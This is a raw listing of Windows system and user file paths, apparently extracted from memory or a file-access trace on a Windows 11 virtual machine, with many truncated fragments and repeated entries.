\Device\HarddiskVolume3\Windows\System32\IconCodecService.dll \Device\HarddiskVolume3\Windows\System32\IconCodecService.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe\ActivationStore.dat \Device\HarddiskVolume3\Windows\System32\AUDIOKSE.dll \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll \Device\HarddiskVolume3\Windows\System32\AUDIOKSE.dll \Device\HarddiskVolume3\WINDOWS\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Windows\System32\RTMediaFrame.dll \Device\HarddiskVolume3\Users\job\Links\desktop.ini \Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Foundation-Win1-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\SysWOW64\azroles.dll nt.dll.mui \Device\HarddiskVolume3\Windows\System32\drivers\tcpip.sys \Device\HarddiskVolume3\Windows\System32\WMALFXGFXDSP.dll \Device\HarddiskVolume3\Windows\SysWOW64\azroles.dll nt.dll.mui \Device\HarddiskVolume3\Windows\SysWOW64\en-US\fwpuclnt.dll.mui \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\AUDIOKSE.dll::$EA \Device\HarddiskVolume3\Windows\System32\coreglobconfig.dll \Device\HarddiskVolume3\Windows\System32\IconCodecService.dll \Device\HarddiskVolume3\Users\job\Contacts\desktop.ini \Device\HarddiskVolume3\Windows\System32\wbem\WmiPerfInst.dll \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\SystemTemp\MpCmdRun.log .mui \Device\HarddiskVolume3\Windows\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Windows\Fonts\segoeui.ttf ng.dll \Device\HarddiskVolume3\Windows\System32\wbem\WmiPerfInst.dll \Device\HarddiskVolume3\Windows\WindowsShell.Manifest \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Windows\System32\smartscreen.dll .dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\LfSvc \Device\HarddiskVolume3\Windows\System32\LocationWinPalMisc.dll \Device\HarddiskVolume3\Windows\System32\WinSync.dll s.dll \Device\HarddiskVolume3\Windows\System32\LocationWinPalMisc.dll \Device\HarddiskVolume3\Windows\System32\normnfkc.nls .dll \Device\HarddiskVolume3\Windows\System32\wscapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\IconCache.db \Device\HarddiskVolume3\Windows\System32\sfc_os.dll Models \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\LocationWinPalMisc.dll \Device\HarddiskVolume3\Windows\System32\WinSync.dll gs.dll \Device\HarddiskVolume3\Windows\WindowsShell.Manifest \Device\HarddiskVolume3\Windows\System32\dxgiadaptercache.exe \Device\HarddiskVolume3\Users\Public\desktop.ini \Device\HarddiskVolume3\WINDOWS\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Windows\System32\smartscreen.dll .dll \Device\HarddiskVolume3\Windows\SystemTemp\MpCmdRun.log s.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;UsoClient_567a767ca54354c21e23cc424e1145ac7c03e60_00000000_4fec9b1e-338d-4ab4-9bd8-ebc4b1c26001dep \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;UsoClient_be7cc07e75a84de07fcacfdb07b8d4590d3247f_00000000_6da856bb-2342-4dd0-a456-e45b3ba907ba \Device\HarddiskVolume3\Windows\System32\drivers\vmbkmcl.sys \Device\HarddiskVolume3\Windows\System32\MdmCommon.dll e.dll \Device\HarddiskVolume3\Windows\Fonts\times.ttf \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Acquisition;expl_2470e0ab9e9f5bd17345adeee8d7cdeba18f49b_00000000_65b4121b-8105-473d-bdd4-55f79a6d3eca \Device\HarddiskVolume3\Windows\System32\bthserv.dll \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;UsoClient_8e7c8a1fecb844099e09dd1b6d7b68d1373e5a_00000000_2708a40a-ed8d-4ca9-b88e-afb9267b9c4f \Device\HarddiskVolume3\Windows\Fonts\segoeui.ttf ng.dll \Device\HarddiskVolume3\Windows\System32\en-US\mispace.dll.mui \Device\HarddiskVolume3\Windows\Fonts\timesbd.ttf \Device\HarddiskVolume3\Windows\Fonts\times.ttf \Device\HarddiskVolume3\Windows\System32\en-US\datamap.0409.dat \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\en-US\ole32.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\mispace.dll.mui \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;UsoClient_61614a8c97c4a81866a812a52f89815aa3066_00000000_3c6269f3-706b-4122-9c06-5d4f04bd8fef \Device\HarddiskVolume3\Windows\SysWOW64\CoreUIComponents.dll \Device\HarddiskVolume3\Windows\Fonts\timesbd.ttf 006.clb \Device\HarddiskVolume3\Windows\Fonts\times.ttf \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;UsoClient_945a8d4ff8c3d17bf52a6c6e44748080feb6d7e5_00000000_6b863f67-84f0-4ddc-8653-1e784396177e \Device\HarddiskVolume3\Windows\Fonts\timesbd.ttf \Device\HarddiskVolume3\Windows\System32\en-US\datamap.0409.dat \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_Update;UsoClient_9648ad8898c5f58294d33a3844af5a66d8dc0e2_00000000_2276102f-68e9-462e-bd6d-f93f8cb38b3b \Device\HarddiskVolume3\Windows\System32\LocationWinPalMisc.dll \Device\HarddiskVolume3\Windows\System32\MdmCommon.dll::$EA \ProgramData\Microsoft\Windows\WER\ReportArchive\NonCritical_MicrosoftEdgeUpd_cb2d4a72457b92693499ad4aca299582e158d299_00000000_12ecc21c-7351-44a4-90bd-b8014acdd225 \Device\HarddiskVolume3\Users\job\Links\desktop.ini \Device\HarddiskVolume3\Users\job\Saved Games\desktop.ini \Device\HarddiskVolume3\Users\job\Saved Games\desktop.ini \Device\HarddiskVolume3\Users\job\Links\desktop.ini \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\en-US\wshqos.dll.mui \Device\HarddiskVolume3\Windows\System32\wshqos.dll \Device\HarddiskVolume3\Users\job\Favorites\desktop.ini \Device\HarddiskVolume3\Windows\System32\taskhostw.exe \Device\HarddiskVolume3\Windows\System32\wlrmdr.exe er.exe \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll \Device\HarddiskVolume3\Users\job\Saved Games\desktop.ini \Device\HarddiskVolume3\Windows\System32\SecurityHealthUdk.dll \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\en-US\wlrmdr.exe.mui \Device\HarddiskVolume3\Windows\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Users\job\Links\desktop.ini \Device\HarddiskVolume3\Windows\System32\credui.dll Core.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\drivers\vmbkmcl.sys \Device\HarddiskVolume3\Users\job\Favorites\desktop.ini \Device\HarddiskVolume3\Windows\System32\mfc140u.dll ves.dll \Device\HarddiskVolume3\Windows\Fonts\SegUIVar.ttf ost.dll \Device\HarddiskVolume3\Users\job\Favorites\desktop.ini \Device\HarddiskVolume3\Windows\System32\icuuc.dll \Device\HarddiskVolume3\Windows\System32\drivers\refs.sys .sys \Device\HarddiskVolume3\Windows\System32\C_950.NLS \Device\HarddiskVolume3\Windows\System32\drivers\refs.sys .sys \Device\HarddiskVolume3\Windows\System32\C_874.NLS \Device\HarddiskVolume3\Windows\WinSxS\Manifests\amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_6.0.26100.1591_en-us_541af4fe0fd3faf0.manifest \Device\HarddiskVolume3\Windows\System32\RTMediaFrame.dll \Device\HarddiskVolume3\Windows\System32\icuin.dll te.dll \Device\HarddiskVolume3\Windows\System32\Wpc.dll tFramework.dll \Device\HarddiskVolume3\WINDOWS\system32\ \Device\HarddiskVolume3\Windows\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\SysWOW64\CoreUIComponents.dll \Device\HarddiskVolume3\Windows\System32\dxgiadaptercache.exe \Device\HarddiskVolume3\Windows\System32\RTMediaFrame.dll \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\System32\hspapi.dll ore.dll \Device\HarddiskVolume3\WINDOWS\Registration\R000000000006.clb \Device\HarddiskVolume3\Program Files\Common Files\VMware \Device\HarddiskVolume3\Windows\System32\hwreqchk.dll::$EA \Device\HarddiskVolume3\Windows\System32\wbem\WinMgmtR.dll \Device\HarddiskVolume3\Windows\Prefetch\WLRMDR.EXE-A7C36FDD.pf \Device\HarddiskVolume3\Windows\SysWOW64\WindowsPowerShell \Device\HarddiskVolume3\Windows\System32\spool\drivers\x64 \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\appraiser.dll::$EA \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\WINDOWS\system32\ \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\System32\wtdsensor.dll \Device\HarddiskVolume3\Windows\System32\Narrator.exe .dll \Device\HarddiskVolume3\WINDOWS\Registration\R000000000006.clb \??\C:\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0.dat \ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0_COM15.dat \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\credui.dll Core.dll \Device\HarddiskVolume3\Windows\System32\en-US\wkssvc.dll.mui \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\Downloaded Program Files \Device\HarddiskVolume3\Windows\System32\smartscreen.dll \Device\HarddiskVolume3\Windows\Fonts\segoeui.ttf ng.dll \Device\HarddiskVolume3\Program Files\VMware ttp.dll \??\C:\ProgramData\Packages\Microsoft.StartExperiencesApp_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001\SystemAppData\Helium\Cache\209a4d67e86fccf0.dat \Device\HarddiskVolume3\Windows\System32\smartscreen.exe \Device\HarddiskVolume3\Windows\System32\smartscreenps.dll \Device\HarddiskVolume3\Windows\System32\hwreqchk.dll \Device\HarddiskVolume3\Program Files (x86)\Microsoft\Edge \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll \Device\HarddiskVolume3\Windows\System32\credui.dll Core.dll \Device\HarddiskVolume3\Windows\System32\en-US\wshqos.dll.mui \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\drivers\storport.sys \Device\HarddiskVolume3\Windows\System32\SyncInfrastructure.dll \Device\HarddiskVolume3\Windows\System32\en-US\bthserv.dll.mui gdep \Device\HarddiskVolume3\Windows\System32\drivers\storport.sys \Device\HarddiskVolume3\Windows\System32\osk.exe ttings.dll \Device\HarddiskVolume3\Windows\SystemResources\Magnify.exe.mun \Device\HarddiskVolume3\Windows\System32\Magnify.exe WSXPacks \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wmiutils.dll \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\en-US\cscui.dll.mui \Device\HarddiskVolume3\Windows\Globalization\ICU\icudtl.dat \Device\HarddiskVolume3\Windows\SysWOW64\netlogon.dll e.dll \Device\HarddiskVolume3\Windows\System32\en-US\bthserv.dll.mui \Device\HarddiskVolume3\Windows\System32\input.dll .dll he.hve \Device\HarddiskVolume3\Windows\apppatch\DirectXApps.sdb \Device\HarddiskVolume3\Windows\System32\aeevts.dll s.dll \Device\HarddiskVolume3\Windows\System32\en-US\Magnify.exe.mui \Device\HarddiskVolume3\Windows\SysWOW64\tzres.dll \Device\HarddiskVolume3\Windows\System32\input.dll .dll he.hve \Device\HarddiskVolume3\Windows\apppatch\DirectXApps.sdb \Device\HarddiskVolume3\WINDOWS\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Windows\System32\drivers\winnat.sys gdep \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb C7B} \Device\HarddiskVolume3\Windows\SystemResources\wininet.dll.mun \Device\HarddiskVolume3\Windows\Fonts\SegoeIcons.ttf json \Device\HarddiskVolume3\Windows\System32\Geolocation.dll \Device\HarddiskVolume3\WINDOWS\SYSTEM32\en-US\PROPSYS.dll.mui \Device\HarddiskVolume3\Windows\System32\Geolocation.dll \Device\HarddiskVolume3\Windows\System32\credui.dll Core.dll \Device\HarddiskVolume3\Windows\System32\wbem\WinMgmtR.dll \Device\HarddiskVolume3\Windows\System32\Geolocation.dll gdep \Device\HarddiskVolume3\Windows\System32\Geolocation.dll gdep 9C1} \Device\HarddiskVolume3\WINDOWS\System32\en-US\combase.dll.mui \Device\HarddiskVolume3\Windows\System32\Taskmgr.exe c.dll.mui json 9C1} \Device\HarddiskVolume3\Windows\System32\credui.dll \Device\HarddiskVolume3\WINDOWS\SYSTEM32\en-US\PROPSYS.dll.mui gdep \Device\HarddiskVolume3\Windows\SysWOW64\wmp.dll dxgmms2.sys 9C1} \Device\HarddiskVolume3\Windows\Registration\R000000000006.clb \Device\HarddiskVolume3\Windows\SystemResources\wininet.dll.mun \Device\HarddiskVolume3\WINDOWS\SYSTEM32\en-US\PROPSYS.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\w32time.dll.mui \Device\HarddiskVolume3\Windows\System32\aadWamExtension.dll \Device\HarddiskVolume3\WINDOWS\SYSTEM32\en-US\PROPSYS.dll.mui gdep gdep \Device\HarddiskVolume3\Windows\System32\appvetwclientres.dll \Device\HarddiskVolume3\Windows\System32\LiveCaptions.exe C7B} \Device\HarddiskVolume3\Windows\Microsoft.NET i.dll \Device\HarddiskVolume3\Windows\SoftwareDistribution\Download \Device\HarddiskVolume3\Windows\System32\RstrtMgr.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\IME\IMEJP \Device\HarddiskVolume3\Windows\SysWOW64\wbem pi.appcore.dll \Device\HarddiskVolume3\Windows\System32\spool\drivers\x64\PCC gdep gdep gdep C7B} \Device\HarddiskVolume3\Windows\System32\Dism pi.appcore.dll \Device\HarddiskVolume3\Windows\System32\DriverStore\en-US\mssmbios.inf_loc mpressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\LfSvc\Geofence\GeofenceApplicationID.dat \Device\HarddiskVolume3\Users\Default\AppData\Local\Microsoft\Windows er\Preferred \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\edb.log Web.Core.dll unch \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\LfSvc\Geofence\GeofenceApplicationID.dat \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe ent.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\edb.chk Web.Core.dll es.pri \Device\HarddiskVolume3\Windows\Globalization\ICU\icudtl.dat:WofCompressedData dll.mui edData \Device\HarddiskVolume3\Windows\System32\DriverStore\en-US\stornvme.inf_loc \Device\HarddiskVolume3\Windows\System32\DriverStore\en-US\swenum.inf_loc ofCompressedData \Device\HarddiskVolume3\Windows\System32\MsSpellCheckingFacility.dll 7C6DC4C6.sysmain.sdb \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\LfSvc\Geofence t.dll \Device\HarddiskVolume3\WINDOWS\system32\WinMetadata\Windows.Foundation.winmd \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe ent.dll \Device\HarddiskVolume3\Windows\System32\C_950.NLS:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\edb.chk Web.Core.dll es.pri \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\edb.log Web.Core.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\edb.log Web.Core.dll \Device\HarddiskVolume3\Windows\System32\DriverStore\en-US\rdpbus.inf_loc :WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\LfSvc\Geofence\GeofenceApplicationID.dat \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\WINDOWS\System32\en-US\KERNELBASE.dll.mui ation.IAsyncAction.winmd \Device\HarddiskVolume3\Windows\System32\MdmCommon.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\LfSvc\Geofence\GeofenceApplicationID.dat \Device\HarddiskVolume3\Windows\System32\icuuc.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\Windows\System32\CapabilityAccessHandlers.dll WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.db \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.db \Device\HarddiskVolume3\Windows\System32\en-US\Geolocation.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\tzautoupdate.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\smartscreen.exe.mui \Device\HarddiskVolume3\Windows\System32\mobsync.exe:WofCompressedData a.dll \Device\HarddiskVolume3\Windows\System32\en-US\windows.ui.xaml.dll.mui on.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.jfm \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.jfm \Device\HarddiskVolume3\Windows\System32\CapabilityAccessHandlers.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\Windows\System32\sfc_os.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WsmSvc.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\icuin.dll:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.jfm \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Security.winmd \Device\HarddiskVolume3\Windows\System32\en-US\windows.ui.xaml.dll.mui a.dll \Device\HarddiskVolume3\Windows\System32\en-US\windows.ui.xaml.dll.mui:WofCompressedData \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.jfm \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\edb.log \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.db \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.db \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Security.winmd \Device\HarddiskVolume3\Windows\System32\en-US\windows.ui.xaml.dll.mui a.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Network\Downloader\qmgr.db \Device\HarddiskVolume3\Windows\System32\CapabilityAccessHandlers.dll .dll \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG\Credits.lnk \Device\HarddiskVolume3\Windows\System32\en-US\Windows.Web.dll.mui g.json sysmain.sdb \Device\HarddiskVolume3\Windows\System32\pcwum.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CapabilityAccessHandlers.dll .dll \Device\HarddiskVolume3\Windows\SysWOW64\FWPUCLNT.DLL:WofCompressedData b.Core.dll \Device\HarddiskVolume3\Windows\System32\appraiser.dll:WofCompressedData \Device\HarddiskVolume3\WINDOWS\system32\WinMetadata\Windows.Storage.winmd s.winmd y\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\utcutil.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\smartscreen.exe.mui ams\mRemoteNG\Credits.lnk \Device\HarddiskVolume3\Windows\System32\LocationFrameworkPS.dll \Device\HarddiskVolume3\WINDOWS\system32\WinMetadata\Windows.Foundation.winmd deshow.ini ublic \Device\HarddiskVolume3\Windows\System32\Geolocation.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Security.winmd \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe WofCompressedData a\Low ache \Device\HarddiskVolume3\Windows\WinSxS\FileMaps\$$_system32_21f9a9c4a2f8b514.cdf-ms Credits.lnk \Device\HarddiskVolume3\Windows\System32\wlrmdr.exe:WofCompressedData \Device\HarddiskVolume3\Windows\System32\LocationFrameworkPS.dll:WofCompressedData \Device\HarddiskVolume3\WINDOWS\system32\WinMetadata\Windows.Foundation.winmd \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe .EX-E9BB04B4.pf ata\Low ache \Device\HarddiskVolume3\Windows\System32\en-US\Geolocation.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\Prefetch\RUNTIMEBROKER.EXE-3E0B5307.pf \Device\HarddiskVolume3\WINDOWS\system32\WinMetadata\Windows.Foundation.winmd \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Security.winmd:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\Geolocation.dll.mui \Device\HarddiskVolume3\Windows\SysWOW64\azroles.dll:WofCompressedData b.Core.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\Windows\System32\msyuv.dll:WofCompressedData gs\Personal ache_idx.db \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db \Device\HarddiskVolume3\Windows\System32\keepaliveprovider.dll:WofCompressedData onPlatform \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe n\msedge.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe n\msedge.exe \Device\HarddiskVolume3\Windows\System32\Narrator.exe:WofCompressedData \Device\HarddiskVolume3\Windows\Prefetch\SECURITYHEALTHSYSTRAY.EXE-E527A4AE.pf soft Edge.lnk \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db \Device\HarddiskVolume3\Windows\Prefetch\SECURITYHEALTHSYSTRAY.EXE-E527A4AE.pf soft Edge.lnk \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db \Device\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\145.0.3800.70 \Device\HarddiskVolume3\WINDOWS\system32\WinMetadata\Windows.Storage.winmd s.winmd y\bcrypt.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db-shm \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Storage.winmd \Device\HarddiskVolume3\WINDOWS\System32\en-US\Windows.Storage.dll.mui \Device\HarddiskVolume3\Windows\System32\winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx \Device\HarddiskVolume3\Windows\System32\en-US\Windows.Security.Authentication.Web.Core.dll.mui \Device\HarddiskVolume3\Windows\System32\MsSpellCheckingFacility.dll \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Storage.winmd \Device\HarddiskVolume3\Windows\System32\C_1254.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\en-US\TimeBrokerServer.dll.mui \Device\HarddiskVolume3\Windows\System32\en-US\winhttp.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\System32\MsSpellCheckingFacility.dll \Device\HarddiskVolume3\Users\job\AppData\Roaming\Microsoft\Spelling\neutral \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG ve Tools \Device\HarddiskVolume3\Windows\System32\lfsvc.dll:WofCompressedData t.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1 \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthSSO.dll \Device\HarddiskVolume3\Windows\System32\C_874.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\C_1250.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\spp\store\2.0\cache\cache.dat rer\thumbcache_idx.db \Device\HarddiskVolume3\Windows\System32\TpmCoreProvisioning.dll eatureConfig.json 32.db \Device\HarddiskVolume3\WINDOWS\System32\en-US\Windows.Storage.dll.mui \Device\HarddiskVolume3\Windows\System32\SustainabilityService.dll vents.dll.mui dx.db \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe ficates\My\CTLs ficates \Device\HarddiskVolume3\Windows\System32\C_1255.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewyOobeHost \Device\HarddiskVolume3\Windows\System32\C_1257.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\C_1253.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\VoiceAccess.exe:WofCompressedData RemoteNG\Credits.lnk \Device\HarddiskVolume3\Windows\Prefetch\SMARTSCREEN.EXE-EACC1250.pf \Device\HarddiskVolume3\Windows\System32\WinSync.dll:WofCompressedData \thumbcache_32.db \Device\HarddiskVolume3\Windows\System32\SecurityHealthSsoUdk.dll ace.dll \Device\HarddiskVolume3\WINDOWS\System32\en-US\Windows.Storage.dll.mui \Device\HarddiskVolume3\WINDOWS\System32\en-US\Windows.Storage.dll.mui \Device\HarddiskVolume3\Windows\System32\C_932.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\C_949.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\Prefetch\SMARTSCREEN.EXE-EACC1250.pf \Device\HarddiskVolume3\Windows\System32\en-US\Geolocation.dll.mui \Device\HarddiskVolume3\Windows\System32\LocationFrameworkPS.dll::$EA \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\WER\ReportArchive \Device\HarddiskVolume3\Windows\System32\en-US\wkssvc.dll.mui:WofCompressedData \Device\HarddiskVolume3\Windows\System32\POSyncServices.dll::$EA \Device\HarddiskVolume3\Windows\System32\en-US\ncbservice.dll.mui licySet.json \Device\HarddiskVolume3\Windows\System32\LocationFrameworkPS.dll \Device\HarddiskVolume3\Windows\System32\C_936.NLS:WofCompressedData \Device\HarddiskVolume3\Windows\System32\WinMetadata\Windows.Security.winmd \Device\HarddiskVolume3\Windows\System32\LocationFrameworkPS.dll \Device\HarddiskVolume3\Windows\System32\LocationFrameworkPS.dll \Device\HarddiskVolume3\WINDOWS\System32\en-US\KERNELBASE.dll.mui ation.IAsyncAction.winmd inmd \Device\HarddiskVolume3\Windows\System32\IconCodecService.dll::$EA OneDrive.exe WIN://SYSAPPID Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe \Device\HarddiskVolume3\Program 